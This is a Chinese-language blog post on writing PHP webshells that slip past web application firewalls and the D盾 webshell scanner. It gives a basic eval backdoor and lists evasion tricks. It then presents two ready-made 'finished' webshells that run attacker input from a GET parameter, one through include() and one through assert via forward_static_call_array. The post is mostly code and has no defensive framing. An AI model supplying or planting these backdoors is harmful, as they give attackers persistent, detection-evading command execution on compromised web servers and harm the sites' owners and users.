Bypass_WAF - WebShell与过D盾
因为有了webshell相当于可以执行php代码,不过现在又有许多webshell查杀工具,都可以对一般的webshell进行查杀,但是由于php的灵活性导致waf都可以被绕过,但是有因为waf的出现阻挡了很大的一部分攻击
最基本的webshell
的组成
<?php @eval($_POST['cmd']);?>
常见绕过方法:
字符串拼接 + 拼接特殊字符串 + 数组调用
回调函数
少见的函数
进制转换
算术运算
编码加拼接
正则匹配绕过
... ...
0x01 Bypass
定义一个函数xz()
function xz() {}
## https://www.php.net/manual/zh/functions.user-defined.php
<?php
function foo($arg_1, $arg_2, /* ..., */ $arg_n)
{
echo "Example function.\n";
return $retval;
}
?>
函数名和 PHP 中的其它标识符命名规则相同。有效的函数名以字母或下划线打头,后面跟字母,数字或下划线。可以用正则表达式表示为: ^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$
全局变量
global $b;
## https://www.cnblogs.com/linqingvoe/p/10928886.html
<?php
global $name;
$name = "why";
function changeName(){
$name = "what";
}
changeName();
echo "my name is " . $name . "<br/>";
?>
获取全局变量,再进行拼接
$a = $_GET[$b];
$e = $a;
return $e;
全局变量赋值,调用函数
$b = "xz";
$c = xz();
$d = $c;
include($d);
把GET请求带入Base64编码后字符赋值给$d
## https://www.php.net/manual/zh/function.include.php
<?php
$color = 'green';
$fruit = 'apple';
?>
test.php
<?php
echo "A $color $fruit"; // A
include 'vars.php';
echo "A $color $fruit"; // A green apple
?>
0x02 成品
<?php
function xz(){
global $b;
$a = $_GET[$b];
$e = $a;
return $e;
}
?>
<?php
$b = "xz";
$c = xz();
$d = $c;
include($d);
还有其他成品
<?php
function xz($a,$b){
forward_static_call_array($a,$b);
}
xz(assert,array($_GET["xz"]));
?>
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果